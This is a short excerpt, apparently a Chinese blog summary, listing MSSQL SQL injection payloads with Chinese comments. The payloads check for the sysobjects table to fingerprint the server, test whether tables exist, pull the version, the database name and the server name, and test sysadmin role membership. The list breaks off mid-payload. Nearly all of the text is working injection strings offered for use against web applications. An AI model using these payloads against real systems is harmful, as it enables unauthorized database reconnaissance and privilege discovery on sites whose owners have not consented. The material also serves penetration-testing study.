摘要：
and exists (select * from sysobjects) //判断是否是MSSQLand exists(select * from tableName) //判断某表是否存在..tableName为表名and 1=(select @@VERSION) //MSSQL版本And 1=(select db_name()) //当前数据库名and 1=(select @@servername) //本地服务名and 1=(select IS_SRVROLEMEMBER('sysadmin')) //判断是否是系统管理员and 1=(Select IS_MEMBER( 阅读全文
